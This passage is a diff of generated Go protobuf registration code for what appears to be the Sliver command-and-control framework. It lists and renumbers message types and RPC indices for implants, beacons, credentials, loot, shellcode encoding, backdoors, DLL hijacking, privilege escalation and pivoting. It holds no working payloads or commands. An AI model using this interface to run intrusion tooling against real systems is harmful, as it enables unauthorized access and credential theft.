clientpb.ListenerJob - (*clientpb.Beacons)(nil), // 132: clientpb.Beacons - (*clientpb.BeaconTasks)(nil), // 133: clientpb.BeaconTasks - (*clientpb.Jobs)(nil), // 134: clientpb.Jobs - (*clientpb.KillJob)(nil), // 135: clientpb.KillJob - (*clientpb.StagerListener)(nil), // 136: clientpb.StagerListener - (*clientpb.AllLoot)(nil), // 137: clientpb.AllLoot - (*clientpb.AllHosts)(nil), // 138: clientpb.AllHosts - (*clientpb.Generate)(nil), // 139: clientpb.Generate - (*clientpb.ExternalImplantConfig)(nil), // 140: clientpb.ExternalImplantConfig - (*clientpb.HTTPC2Configs)(nil), // 141: clientpb.HTTPC2Configs - (*clientpb.HTTPC2Config)(nil), // 142: clientpb.HTTPC2Config - (*clientpb.Builders)(nil), // 143: clientpb.Builders - (*clientpb.Crackstations)(nil), // 144: clientpb.Crackstations - (*clientpb.CrackFiles)(nil), // 145: clientpb.CrackFiles - (*clientpb.ImplantBuilds)(nil), // 146: clientpb.ImplantBuilds - (*clientpb.Canaries)(nil), // 147: clientpb.Canaries - (*clientpb.WGClientConfig)(nil), // 148: clientpb.WGClientConfig - (*clientpb.UniqueWGIP)(nil), // 149: clientpb.UniqueWGIP - (*clientpb.ImplantProfiles)(nil), // 150: clientpb.ImplantProfiles - (*clientpb.MsfStager)(nil), // 151: clientpb.MsfStager - (*clientpb.ShellcodeRDI)(nil), // 152: clientpb.ShellcodeRDI - (*clientpb.Compiler)(nil), // 153: clientpb.Compiler - (*clientpb.ShellcodeEncode)(nil), // 154: clientpb.ShellcodeEncode - (*clientpb.ShellcodeEncoderMap)(nil), // 155: clientpb.ShellcodeEncoderMap - (*clientpb.TrafficEncoderMap)(nil), // 156: clientpb.TrafficEncoderMap - (*clientpb.TrafficEncoderTests)(nil), // 157: clientpb.TrafficEncoderTests - (*clientpb.Websites)(nil), // 158: clientpb.Websites - (*sliverpb.Ps)(nil), // 159: sliverpb.Ps - (*sliverpb.Terminate)(nil), // 160: sliverpb.Terminate - (*sliverpb.Ifconfig)(nil), // 161: sliverpb.Ifconfig - (*sliverpb.Netstat)(nil), // 162: sliverpb.Netstat - (*sliverpb.Ls)(nil), // 163: sliverpb.Ls - (*sliverpb.Pwd)(nil), // 164: sliverpb.Pwd - (*sliverpb.Mv)(nil), // 165: sliverpb.Mv - (*sliverpb.Cp)(nil), // 166: sliverpb.Cp - (*sliverpb.Rm)(nil), // 167: sliverpb.Rm - (*sliverpb.Mkdir)(nil), // 168: sliverpb.Mkdir - (*sliverpb.Download)(nil), // 169: sliverpb.Download - (*sliverpb.Upload)(nil), // 170: sliverpb.Upload - (*sliverpb.Grep)(nil), // 171: sliverpb.Grep - (*sliverpb.Chmod)(nil), // 172: sliverpb.Chmod - (*sliverpb.Chown)(nil), // 173: sliverpb.Chown - (*sliverpb.Chtimes)(nil), // 174: sliverpb.Chtimes - (*sliverpb.MemfilesAdd)(nil), // 175: sliverpb.MemfilesAdd - (*sliverpb.MemfilesRm)(nil), // 176: sliverpb.MemfilesRm - (*sliverpb.ProcessDump)(nil), // 177: sliverpb.ProcessDump - (*sliverpb.RunAs)(nil), // 178: sliverpb.RunAs - (*sliverpb.Impersonate)(nil), // 179: sliverpb.Impersonate - (*sliverpb.RevToSelf)(nil), // 180: sliverpb.RevToSelf - (*sliverpb.GetSystem)(nil), // 181: sliverpb.GetSystem - (*sliverpb.Task)(nil), // 182: sliverpb.Task - (*sliverpb.ExecuteAssembly)(nil), // 183: sliverpb.ExecuteAssembly - (*sliverpb.Migrate)(nil), // 184: sliverpb.Migrate - (*sliverpb.Execute)(nil), // 185: sliverpb.Execute - (*sliverpb.Sideload)(nil), // 186: sliverpb.Sideload - (*sliverpb.SpawnDll)(nil), // 187: sliverpb.SpawnDll - (*sliverpb.Screenshot)(nil), // 188: sliverpb.Screenshot - (*sliverpb.CurrentTokenOwner)(nil), // 189: sliverpb.CurrentTokenOwner - (*sliverpb.PivotListener)(nil), // 190: sliverpb.PivotListener - (*sliverpb.PivotListeners)(nil), // 191: sliverpb.PivotListeners - (*clientpb.PivotGraph)(nil), // 192: clientpb.PivotGraph - (*sliverpb.ServiceInfo)(nil), // 193: sliverpb.ServiceInfo - (*sliverpb.MakeToken)(nil), // 194: sliverpb.MakeToken - (*sliverpb.EnvInfo)(nil), // 195: sliverpb.EnvInfo - (*sliverpb.SetEnv)(nil), // 196: sliverpb.SetEnv - (*sliverpb.UnsetEnv)(nil), // 197: sliverpb.UnsetEnv - (*clientpb.Backdoor)(nil), // 198: clientpb.Backdoor - (*sliverpb.RegistryRead)(nil), // 199: sliverpb.RegistryRead - (*sliverpb.RegistryWrite)(nil), // 200: sliverpb.RegistryWrite - (*sliverpb.RegistryCreateKey)(nil), // 201: sliverpb.RegistryCreateKey - (*sliverpb.RegistryDeleteKey)(nil), // 202: sliverpb.RegistryDeleteKey - (*sliverpb.RegistrySubKeyList)(nil), // 203: sliverpb.RegistrySubKeyList - (*sliverpb.RegistryValuesList)(nil), // 204: sliverpb.RegistryValuesList - (*sliverpb.SSHCommand)(nil), // 205: sliverpb.SSHCommand - (*clientpb.DllHijack)(nil), // 206: clientpb.DllHijack - (*sliverpb.GetPrivs)(nil), // 207: sliverpb.GetPrivs - (*sliverpb.RportFwdListener)(nil), // 208: sliverpb.RportFwdListener - (*sliverpb.RportFwdListeners)(nil), // 209: sliverpb.RportFwdListeners - (*sliverpb.RegisterExtension)(nil), // 210: sliverpb.RegisterExtension - (*sliverpb.CallExtension)(nil), // 211: sliverpb.CallExtension - (*sliverpb.ListExtensions)(nil), // 212: sliverpb.ListExtensions - (*sliverpb.RegisterWasmExtension)(nil), // 213: sliverpb.RegisterWasmExtension - (*sliverpb.ListWasmExtensions)(nil), // 214: sliverpb.ListWasmExtensions - (*sliverpb.ExecWasmExtension)(nil), // 215: sliverpb.ExecWasmExtension - (*sliverpb.WGPortForward)(nil), // 216: sliverpb.WGPortForward - (*sliverpb.WGSocks)(nil), // 217: sliverpb.WGSocks - (*sliverpb.WGTCPForwarders)(nil), // 218: sliverpb.WGTCPForwarders - (*sliverpb.WGSocksServers)(nil), // 219: sliverpb.WGSocksServers - (*sliverpb.Shell)(nil), // 220: sliverpb.Shell - (*sliverpb.Portfwd)(nil), // 221: sliverpb.Portfwd + (*clientpb.ImplantCommand)(nil), // 5: clientpb.ImplantCommand + (*clientpb.HistoryRequest)(nil), // 6: clientpb.HistoryRequest + (*clientpb.MonitoringProvider)(nil), // 7: clientpb.MonitoringProvider + (*clientpb.MTLSListenerReq)(nil), // 8: clientpb.MTLSListenerReq + (*clientpb.WGListenerReq)(nil), // 9: clientpb.WGListenerReq + (*clientpb.DNSListenerReq)(nil), // 10: clientpb.DNSListenerReq + (*clientpb.HTTPListenerReq)(nil), // 11: clientpb.HTTPListenerReq + (*clientpb.Beacon)(nil), // 12: clientpb.Beacon + (*clientpb.BeaconTask)(nil), // 13: clientpb.BeaconTask + (*clientpb.KillJobReq)(nil), // 14: clientpb.KillJobReq + (*clientpb.RestartJobReq)(nil), // 15: clientpb.RestartJobReq + (*clientpb.StagerListenerReq)(nil), // 16: clientpb.StagerListenerReq + (*clientpb.Loot)(nil), // 17: clientpb.Loot + (*clientpb.Credentials)(nil), // 18: clientpb.Credentials + (*clientpb.Credential)(nil), // 19: clientpb.Credential + (*clientpb.Host)(nil), // 20: clientpb.Host + (*clientpb.IOC)(nil), // 21: clientpb.IOC + (*clientpb.GenerateReq)(nil), // 22: clientpb.GenerateReq + (*clientpb.ExternalGenerateReq)(nil), // 23: clientpb.ExternalGenerateReq + (*clientpb.ExternalImplantBinary)(nil), // 24: clientpb.ExternalImplantBinary + (*clientpb.ImplantBuild)(nil), // 25: clientpb.ImplantBuild + (*clientpb.GenerateStageReq)(nil), // 26: clientpb.GenerateStageReq + (*clientpb.ImplantStageReq)(nil), // 27: clientpb.ImplantStageReq + (*clientpb.C2ProfileReq)(nil), // 28: clientpb.C2ProfileReq + (*clientpb.HTTPC2ConfigReq)(nil), // 29: clientpb.HTTPC2ConfigReq + (*clientpb.Builder)(nil), // 30: clientpb.Builder + (*clientpb.Event)(nil), // 31: clientpb.Event + (*clientpb.Crackstation)(nil), // 32: clientpb.Crackstation + (*clientpb.CrackBenchmark)(nil), // 33: clientpb.CrackBenchmark + (*clientpb.CrackTask)(nil), // 34: clientpb.CrackTask + (*clientpb.CrackFile)(nil), // 35: clientpb.CrackFile + (*clientpb.CrackFileChunk)(nil), // 36: clientpb.CrackFileChunk + (*clientpb.RegenerateReq)(nil), // 37: clientpb.RegenerateReq + (*clientpb.DeleteReq)(nil), // 38: clientpb.DeleteReq + (*clientpb.ImplantProfile)(nil), // 39: clientpb.ImplantProfile + (*clientpb.MsfStagerReq)(nil), // 40: clientpb.MsfStagerReq + (*clientpb.ShellcodeRDIReq)(nil), // 41: clientpb.ShellcodeRDIReq + (*clientpb.ShellcodeEncodeReq)(nil), // 42: clientpb.ShellcodeEncodeReq + (*clientpb.TrafficEncoder)(nil), // 43: clientpb.TrafficEncoder + (*clientpb.Website)(nil), // 44: clientpb.Website + (*clientpb.WebsiteAddContent)(nil), // 45: clientpb.WebsiteAddContent + (*clientpb.WebsiteRemoveContent)(nil), // 46: clientpb.WebsiteRemoveContent + (*sliverpb.Ping)(nil), // 47: sliverpb.Ping + (*sliverpb.PsReq)(nil), // 48: sliverpb.PsReq + (*sliverpb.TerminateReq)(nil), // 49: sliverpb.TerminateReq + (*sliverpb.IfconfigReq)(nil), // 50: sliverpb.IfconfigReq + (*sliverpb.NetstatReq)(nil), // 51: sliverpb.NetstatReq + (*sliverpb.LsReq)(nil), // 52: sliverpb.LsReq + (*sliverpb.CdReq)(nil), // 53: sliverpb.CdReq + (*sliverpb.PwdReq)(nil), // 54: sliverpb.PwdReq + (*sliverpb.MvReq)(nil), // 55: sliverpb.MvReq + (*sliverpb.CpReq)(nil), // 56: sliverpb.CpReq + (*sliverpb.RmReq)(nil), // 57: sliverpb.RmReq + (*sliverpb.MkdirReq)(nil), // 58: sliverpb.MkdirReq + (*sliverpb.DownloadReq)(nil), // 59: sliverpb.DownloadReq + (*sliverpb.UploadReq)(nil), // 60: sliverpb.UploadReq + (*sliverpb.GrepReq)(nil), // 61: sliverpb.GrepReq + (*sliverpb.ChmodReq)(nil), // 62: sliverpb.ChmodReq + (*sliverpb.ChownReq)(nil), // 63: sliverpb.ChownReq + (*sliverpb.ChtimesReq)(nil), // 64: sliverpb.ChtimesReq + (*sliverpb.MemfilesListReq)(nil), // 65: sliverpb.MemfilesListReq + (*sliverpb.MemfilesAddReq)(nil), // 66: sliverpb.MemfilesAddReq + (*sliverpb.MemfilesRmReq)(nil), // 67: sliverpb.MemfilesRmReq + (*sliverpb.ProcessDumpReq)(nil), // 68: sliverpb.ProcessDumpReq + (*sliverpb.RunAsReq)(nil), // 69: sliverpb.RunAsReq + (*sliverpb.ImpersonateReq)(nil), // 70: sliverpb.ImpersonateReq + (*sliverpb.RevToSelfReq)(nil), // 71: sliverpb.RevToSelfReq + (*clientpb.GetSystemReq)(nil), // 72: clientpb.GetSystemReq + (*sliverpb.TaskReq)(nil), // 73: sliverpb.TaskReq + (*clientpb.MSFReq)(nil), // 74: clientpb.MSFReq + (*clientpb.MSFRemoteReq)(nil), // 75: clientpb.MSFRemoteReq + (*sliverpb.ExecuteAssemblyReq)(nil), // 76: sliverpb.ExecuteAssemblyReq + (*clientpb.MigrateReq)(nil), // 77: clientpb.MigrateReq + (*sliverpb.ExecuteReq)(nil), // 78: sliverpb.ExecuteReq + (*sliverpb.ExecuteWindowsReq)(nil), // 79: sliverpb.ExecuteWindowsReq + (*sliverpb.SideloadReq)(nil), // 80: sliverpb.SideloadReq + (*sliverpb.InvokeSpawnDllReq)(nil), // 81: sliverpb.InvokeSpawnDllReq + (*sliverpb.ScreenshotReq)(nil), // 82: sliverpb.ScreenshotReq + (*sliverpb.CurrentTokenOwnerReq)(nil), // 83: sliverpb.CurrentTokenOwnerReq + (*sliverpb.PivotStartListenerReq)(nil), // 84: sliverpb.PivotStartListenerReq + (*sliverpb.PivotStopListenerReq)(nil), // 85: sliverpb.PivotStopListenerReq + (*sliverpb.PivotListenersReq)(nil), // 86: sliverpb.PivotListenersReq + (*sliverpb.StartServiceReq)(nil), // 87: sliverpb.StartServiceReq + (*sliverpb.StopServiceReq)(nil), // 88: sliverpb.StopServiceReq + (*sliverpb.RemoveServiceReq)(nil), // 89: sliverpb.RemoveServiceReq + (*sliverpb.MakeTokenReq)(nil), // 90: sliverpb.MakeTokenReq + (*sliverpb.EnvReq)(nil), // 91: sliverpb.EnvReq + (*sliverpb.SetEnvReq)(nil), // 92: sliverpb.SetEnvReq + (*sliverpb.UnsetEnvReq)(nil), // 93: sliverpb.UnsetEnvReq + (*clientpb.BackdoorReq)(nil), // 94: clientpb.BackdoorReq + (*sliverpb.RegistryReadReq)(nil), // 95: sliverpb.RegistryReadReq + (*sliverpb.RegistryWriteReq)(nil), // 96: sliverpb.RegistryWriteReq + (*sliverpb.RegistryCreateKeyReq)(nil), // 97: sliverpb.RegistryCreateKeyReq + (*sliverpb.RegistryDeleteKeyReq)(nil), // 98: sliverpb.RegistryDeleteKeyReq + (*sliverpb.RegistrySubKeyListReq)(nil), // 99: sliverpb.RegistrySubKeyListReq + (*sliverpb.RegistryListValuesReq)(nil), // 100: sliverpb.RegistryListValuesReq + (*sliverpb.SSHCommandReq)(nil), // 101: sliverpb.SSHCommandReq + (*clientpb.DllHijackReq)(nil), // 102: clientpb.DllHijackReq + (*sliverpb.GetPrivsReq)(nil), // 103: sliverpb.GetPrivsReq + (*sliverpb.RportFwdStartListenerReq)(nil), // 104: sliverpb.RportFwdStartListenerReq + (*sliverpb.RportFwdListenersReq)(nil), // 105: sliverpb.RportFwdListenersReq + (*sliverpb.RportFwdStopListenerReq)(nil), // 106: sliverpb.RportFwdStopListenerReq + (*sliverpb.OpenSession)(nil), // 107: sliverpb.OpenSession + (*sliverpb.CloseSession)(nil), // 108: sliverpb.CloseSession + (*sliverpb.RegisterExtensionReq)(nil), // 109: sliverpb.RegisterExtensionReq + (*sliverpb.CallExtensionReq)(nil), // 110: sliverpb.CallExtensionReq + (*sliverpb.ListExtensionsReq)(nil), // 111: sliverpb.ListExtensionsReq + (*sliverpb.RegisterWasmExtensionReq)(nil), // 112: sliverpb.RegisterWasmExtensionReq + (*sliverpb.ListWasmExtensionsReq)(nil), // 113: sliverpb.ListWasmExtensionsReq + (*sliverpb.ExecWasmExtensionReq)(nil), // 114: sliverpb.ExecWasmExtensionReq + (*sliverpb.WGPortForwardStartReq)(nil), // 115: sliverpb.WGPortForwardStartReq + (*sliverpb.WGPortForwardStopReq)(nil), // 116: sliverpb.WGPortForwardStopReq + (*sliverpb.WGSocksStartReq)(nil), // 117: sliverpb.WGSocksStartReq + (*sliverpb.WGSocksStopReq)(nil), // 118: sliverpb.WGSocksStopReq + (*sliverpb.WGTCPForwardersReq)(nil), // 119: sliverpb.WGTCPForwardersReq + (*sliverpb.WGSocksServersReq)(nil), // 120: sliverpb.WGSocksServersReq + (*sliverpb.ShellReq)(nil), // 121: sliverpb.ShellReq + (*sliverpb.PortfwdReq)(nil), // 122: sliverpb.PortfwdReq + (*sliverpb.Socks)(nil), // 123: sliverpb.Socks + (*sliverpb.SocksData)(nil), // 124: sliverpb.SocksData + (*sliverpb.Tunnel)(nil), // 125: sliverpb.Tunnel + (*sliverpb.TunnelData)(nil), // 126: sliverpb.TunnelData + (*clientpb.Version)(nil), // 127: clientpb.Version + (*clientpb.Users)(nil), // 128: clientpb.Users + (*sliverpb.Reconfigure)(nil), // 129: sliverpb.Reconfigure + (*clientpb.History)(nil), // 130: clientpb.History + (*clientpb.Sessions)(nil), // 131: clientpb.Sessions + (*commonpb.Response)(nil), // 132: commonpb.Response + (*clientpb.MonitoringProviders)(nil), // 133: clientpb.MonitoringProviders + (*clientpb.ListenerJob)(nil), // 134: clientpb.ListenerJob + (*clientpb.Beacons)(nil), // 135: clientpb.Beacons + (*clientpb.BeaconTasks)(nil), // 136: clientpb.BeaconTasks + (*clientpb.Jobs)(nil), // 137: clientpb.Jobs + (*clientpb.KillJob)(nil), // 138: clientpb.KillJob + (*clientpb.StagerListener)(nil), // 139: clientpb.StagerListener + (*clientpb.AllLoot)(nil), // 140: clientpb.AllLoot + (*clientpb.AllHosts)(nil), // 141: clientpb.AllHosts + (*clientpb.Generate)(nil), // 142: clientpb.Generate + (*clientpb.ExternalImplantConfig)(nil), // 143: clientpb.ExternalImplantConfig + (*clientpb.HTTPC2Configs)(nil), // 144: clientpb.HTTPC2Configs + (*clientpb.HTTPC2Config)(nil), // 145: clientpb.HTTPC2Config + (*clientpb.Builders)(nil), // 146: clientpb.Builders + (*clientpb.Crackstations)(nil), // 147: clientpb.Crackstations + (*clientpb.CrackFiles)(nil), // 148: clientpb.CrackFiles + (*clientpb.ImplantBuilds)(nil), // 149: clientpb.ImplantBuilds + (*clientpb.Canaries)(nil), // 150: clientpb.Canaries + (*clientpb.WGClientConfig)(nil), // 151: clientpb.WGClientConfig + (*clientpb.UniqueWGIP)(nil), // 152: clientpb.UniqueWGIP + (*clientpb.ImplantProfiles)(nil), // 153: clientpb.ImplantProfiles + (*clientpb.MsfStager)(nil), // 154: clientpb.MsfStager + (*clientpb.ShellcodeRDI)(nil), // 155: clientpb.ShellcodeRDI + (*clientpb.Compiler)(nil), // 156: clientpb.Compiler + (*clientpb.MetasploitCompiler)(nil), // 157: clientpb.MetasploitCompiler + (*clientpb.ShellcodeEncode)(nil), // 158: clientpb.ShellcodeEncode + (*clientpb.ShellcodeEncoderMap)(nil), // 159: clientpb.ShellcodeEncoderMap + (*clientpb.TrafficEncoderMap)(nil), // 160: clientpb.TrafficEncoderMap + (*clientpb.TrafficEncoderTests)(nil), // 161: clientpb.TrafficEncoderTests + (*clientpb.Websites)(nil), // 162: clientpb.Websites + (*sliverpb.Ps)(nil), // 163: sliverpb.Ps + (*sliverpb.Terminate)(nil), // 164: sliverpb.Terminate + (*sliverpb.Ifconfig)(nil), // 165: sliverpb.Ifconfig + (*sliverpb.Netstat)(nil), // 166: sliverpb.Netstat + (*sliverpb.Ls)(nil), // 167: sliverpb.Ls + (*sliverpb.Pwd)(nil), // 168: sliverpb.Pwd + (*sliverpb.Mv)(nil), // 169: sliverpb.Mv + (*sliverpb.Cp)(nil), // 170: sliverpb.Cp + (*sliverpb.Rm)(nil), // 171: sliverpb.Rm + (*sliverpb.Mkdir)(nil), // 172: sliverpb.Mkdir + (*sliverpb.Download)(nil), // 173: sliverpb.Download + (*sliverpb.Upload)(nil), // 174: sliverpb.Upload + (*sliverpb.Grep)(nil), // 175: sliverpb.Grep + (*sliverpb.Chmod)(nil), // 176: sliverpb.Chmod + (*sliverpb.Chown)(nil), // 177: sliverpb.Chown + (*sliverpb.Chtimes)(nil), // 178: sliverpb.Chtimes + (*sliverpb.MemfilesAdd)(nil), // 179: sliverpb.MemfilesAdd + (*sliverpb.MemfilesRm)(nil), // 180: sliverpb.MemfilesRm + (*sliverpb.ProcessDump)(nil), // 181: sliverpb.ProcessDump + (*sliverpb.RunAs)(nil), // 182: sliverpb.RunAs + (*sliverpb.Impersonate)(nil), // 183: sliverpb.Impersonate + (*sliverpb.RevToSelf)(nil), // 184: sliverpb.RevToSelf + (*sliverpb.GetSystem)(nil), // 185: sliverpb.GetSystem + (*sliverpb.Task)(nil), // 186: sliverpb.Task + (*sliverpb.ExecuteAssembly)(nil), // 187: sliverpb.ExecuteAssembly + (*sliverpb.Migrate)(nil), // 188: sliverpb.Migrate + (*sliverpb.Execute)(nil), // 189: sliverpb.Execute + (*sliverpb.Sideload)(nil), // 190: sliverpb.Sideload + (*sliverpb.SpawnDll)(nil), // 191: sliverpb.SpawnDll + (*sliverpb.Screenshot)(nil), // 192: sliverpb.Screenshot + (*sliverpb.CurrentTokenOwner)(nil), // 193: sliverpb.CurrentTokenOwner + (*sliverpb.PivotListener)(nil), // 194: sliverpb.PivotListener + (*sliverpb.PivotListeners)(nil), // 195: sliverpb.PivotListeners + (*clientpb.PivotGraph)(nil), // 196: clientpb.PivotGraph + (*sliverpb.ServiceInfo)(nil), // 197: sliverpb.ServiceInfo + (*sliverpb.MakeToken)(nil), // 198: sliverpb.MakeToken + (*sliverpb.EnvInfo)(nil), // 199: sliverpb.EnvInfo + (*sliverpb.SetEnv)(nil), // 200: sliverpb.SetEnv + (*sliverpb.UnsetEnv)(nil), // 201: sliverpb.UnsetEnv + (*clientpb.Backdoor)(nil), // 202: clientpb.Backdoor + (*sliverpb.RegistryRead)(nil), // 203: sliverpb.RegistryRead + (*sliverpb.RegistryWrite)(nil), // 204: sliverpb.RegistryWrite + (*sliverpb.RegistryCreateKey)(nil), // 205: sliverpb.RegistryCreateKey + (*sliverpb.RegistryDeleteKey)(nil), // 206: sliverpb.RegistryDeleteKey + (*sliverpb.RegistrySubKeyList)(nil), // 207: sliverpb.RegistrySubKeyList + (*sliverpb.RegistryValuesList)(nil), // 208: sliverpb.RegistryValuesList + (*sliverpb.SSHCommand)(nil), // 209: sliverpb.SSHCommand + (*clientpb.DllHijack)(nil), // 210: clientpb.DllHijack + (*sliverpb.GetPrivs)(nil), // 211: sliverpb.GetPrivs + (*sliverpb.RportFwdListener)(nil), // 212: sliverpb.RportFwdListener + (*sliverpb.RportFwdListeners)(nil), // 213: sliverpb.RportFwdListeners + (*sliverpb.RegisterExtension)(nil), // 214: sliverpb.RegisterExtension + (*sliverpb.CallExtension)(nil), // 215: sliverpb.CallExtension + (*sliverpb.ListExtensions)(nil), // 216: sliverpb.ListExtensions + (*sliverpb.RegisterWasmExtension)(nil), // 217: sliverpb.RegisterWasmExtension + (*sliverpb.ListWasmExtensions)(nil), // 218: sliverpb.ListWasmExtensions + (*sliverpb.ExecWasmExtension)(nil), // 219: sliverpb.ExecWasmExtension + (*sliverpb.WGPortForward)(nil), // 220: sliverpb.WGPortForward + (*sliverpb.WGSocks)(nil), // 221: sliverpb.WGSocks + (*sliverpb.WGTCPForwarders)(nil), // 222: sliverpb.WGTCPForwarders + (*sliverpb.WGSocksServers)(nil), // 223: sliverpb.WGSocksServers + (*sliverpb.Shell)(nil), // 224: sliverpb.Shell + (*sliverpb.Portfwd)(nil), // 225: sliverpb.Portfwd } var file_rpcpb_services_proto_depIdxs = []int32{ 0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty - 1, // 1: rpcpb.SliverRPC.ClientLog:input_type -> clientpb.ClientLogData - 0, // 2: rpcpb.SliverRPC.GetOperators:input_type -> commonpb.Empty + 0, // 1: rpcpb.SliverRPC.GetUsers:input_type -> commonpb.Empty + 1, // 2: rpcpb.SliverRPC.ClientLog:input_type -> clientpb.ClientLogData 2, // 3: rpcpb.SliverRPC.Kill:input_type -> sliverpb.KillReq 3, // 4: rpcpb.SliverRPC.Reconfigure:input_type -> sliverpb.ReconfigureReq 4, // 5: rpcpb.SliverRPC.Rename:input_type -> clientpb.RenameReq - 0, // 6: rpcpb.SliverRPC.GetSessions:input_type -> commonpb.Empty - 0, // 7: rpcpb.SliverRPC.MonitorStart:input_type -> commonpb.Empty - 0, // 8: rpcpb.SliverRPC.MonitorStop:input_type -> commonpb.Empty - 0, // 9: rpcpb.SliverRPC.MonitorListConfig:input_type -> commonpb.Empty - 5, // 10: rpcpb.SliverRPC.MonitorAddConfig:input_type -> clientpb.MonitoringProvider - 5, // 11: rpcpb.SliverRPC.MonitorDelConfig:input_type -> clientpb.MonitoringProvider - 6, // 12: rpcpb.SliverRPC.StartMTLSListener:input_type -> clientpb.MTLSListenerReq - 7, // 13: rpcpb.SliverRPC.StartWGListener:input_type -> clientpb.WGListenerReq - 8, // 14: rpcpb.SliverRPC.StartDNSListener:input_type -> clientpb.DNSListenerReq - 9, // 15: rpcpb.SliverRPC.StartHTTPSListener:input_type -> clientpb.HTTPListenerReq - 9, // 16: rpcpb.SliverRPC.StartHTTPListener:input_type -> clientpb.HTTPListenerReq - 0, // 17: rpcpb.SliverRPC.GetBeacons:input_type -> commonpb.Empty - 10, // 18: rpcpb.SliverRPC.GetBeacon:input_type -> clientpb.Beacon - 10, // 19: rpcpb.SliverRPC.RmBeacon:input_type -> clientpb.Beacon - 10, // 20: rpcpb.SliverRPC.GetBeaconTasks:input_type -> clientpb.Beacon - 11, // 21: rpcpb.SliverRPC.GetBeaconTaskContent:input_type -> clientpb.BeaconTask - 11, // 22: rpcpb.SliverRPC.CancelBeaconTask:input_type -> clientpb.BeaconTask - 0, // 23: rpcpb.SliverRPC.GetJobs:input_type -> commonpb.Empty - 12, // 24: rpcpb.SliverRPC.KillJob:input_type -> clientpb.KillJobReq - 13, // 25: rpcpb.SliverRPC.RestartJobs:input_type -> clientpb.RestartJobReq - 14, // 26: rpcpb.SliverRPC.StartTCPStagerListener:input_type -> clientpb.StagerListenerReq - 15, // 27: rpcpb.SliverRPC.LootAdd:input_type -> clientpb.Loot - 15, // 28: rpcpb.SliverRPC.LootRm:input_type -> clientpb.Loot - 15, // 29: rpcpb.SliverRPC.LootUpdate:input_type -> clientpb.Loot - 15, // 30: rpcpb.SliverRPC.LootContent:input_type -> clientpb.Loot - 0, // 31: rpcpb.SliverRPC.LootAll:input_type -> commonpb.Empty - 0, // 32: rpcpb.SliverRPC.Creds:input_type -> commonpb.Empty - 16, // 33: rpcpb.SliverRPC.CredsAdd:input_type -> clientpb.Credentials - 16, // 34: rpcpb.SliverRPC.CredsRm:input_type -> clientpb.Credentials - 16, // 35: rpcpb.SliverRPC.CredsUpdate:input_type -> clientpb.Credentials - 17, // 36: rpcpb.SliverRPC.GetCredByID:input_type -> clientpb.Credential - 17, // 37: rpcpb.SliverRPC.GetCredsByHashType:input_type -> clientpb.Credential - 17, // 38: rpcpb.SliverRPC.GetPlaintextCredsByHashType:input_type -> clientpb.Credential - 17, // 39: rpcpb.SliverRPC.CredsSniffHashType:input_type -> clientpb.Credential - 0, // 40: rpcpb.SliverRPC.Hosts:input_type -> commonpb.Empty - 18, // 41: rpcpb.SliverRPC.Host:input_type -> clientpb.Host - 18, // 42: rpcpb.SliverRPC.HostRm:input_type -> clientpb.Host - 19, // 43: rpcpb.SliverRPC.HostIOCRm:input_type -> clientpb.IOC - 20, // 44: rpcpb.SliverRPC.Generate:input_type -> clientpb.GenerateReq - 21, // 45: rpcpb.SliverRPC.GenerateExternal:input_type -> clientpb.ExternalGenerateReq - 22, // 46: rpcpb.SliverRPC.GenerateExternalSaveBuild:input_type -> clientpb.ExternalImplantBinary - 23, // 47: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:input_type -> clientpb.ImplantBuild - 24, // 48: rpcpb.SliverRPC.GenerateStage:input_type -> clientpb.GenerateStageReq - 25, // 49: rpcpb.SliverRPC.StageImplantBuild:input_type -> clientpb.ImplantStageReq - 0, // 50: rpcpb.SliverRPC.GetHTTPC2Profiles:input_type -> commonpb.Empty - 26, // 51: rpcpb.SliverRPC.GetHTTPC2ProfileByName:input_type -> clientpb.C2ProfileReq - 27, // 52: rpcpb.SliverRPC.SaveHTTPC2Profile:input_type -> clientpb.HTTPC2ConfigReq - 28, // 53: rpcpb.SliverRPC.BuilderRegister:input_type -> clientpb.Builder - 29, // 54: rpcpb.SliverRPC.BuilderTrigger:input_type -> clientpb.Event - 0, // 55: rpcpb.SliverRPC.Builders:input_type -> commonpb.Empty - 30, // 56: rpcpb.SliverRPC.CrackstationRegister:input_type -> clientpb.Crackstation - 29, // 57: rpcpb.SliverRPC.CrackstationTrigger:input_type -> clientpb.Event - 31, // 58: rpcpb.SliverRPC.CrackstationBenchmark:input_type -> clientpb.CrackBenchmark - 0, // 59: rpcpb.SliverRPC.Crackstations:input_type -> commonpb.Empty - 32, // 60: rpcpb.SliverRPC.CrackTaskByID:input_type -> clientpb.CrackTask - 32, // 61: rpcpb.SliverRPC.CrackTaskUpdate:input_type -> clientpb.CrackTask - 33, // 62: rpcpb.SliverRPC.CrackFilesList:input_type -> clientpb.CrackFile - 33, // 63: rpcpb.SliverRPC.CrackFileCreate:input_type -> clientpb.CrackFile - 34, // 64: rpcpb.SliverRPC.CrackFileChunkUpload:input_type -> clientpb.CrackFileChunk - 34, // 65: rpcpb.SliverRPC.CrackFileChunkDownload:input_type -> clientpb.CrackFileChunk - 33, // 66: rpcpb.SliverRPC.CrackFileComplete:input_type -> clientpb.CrackFile - 33, // 67: rpcpb.SliverRPC.CrackFileDelete:input_type -> clientpb.CrackFile - 35, // 68: rpcpb.SliverRPC.Regenerate:input_type -> clientpb.RegenerateReq - 0, // 69: rpcpb.SliverRPC.ImplantBuilds:input_type -> commonpb.Empty - 36, // 70: rpcpb.SliverRPC.DeleteImplantBuild:input_type -> clientpb.DeleteReq - 0, // 71: rpcpb.SliverRPC.Canaries:input_type -> commonpb.Empty - 0, // 72: rpcpb.SliverRPC.GenerateWGClientConfig:input_type -> commonpb.Empty - 0, // 73: rpcpb.SliverRPC.GenerateUniqueIP:input_type -> commonpb.Empty - 0, // 74: rpcpb.SliverRPC.ImplantProfiles:input_type -> commonpb.Empty - 36, // 75: rpcpb.SliverRPC.DeleteImplantProfile:input_type -> clientpb.DeleteReq - 37, // 76: rpcpb.SliverRPC.SaveImplantProfile:input_type -> clientpb.ImplantProfile - 38, // 77: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq - 39, // 78: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq - 0, // 79: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty - 40, // 80: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq - 0, // 81: 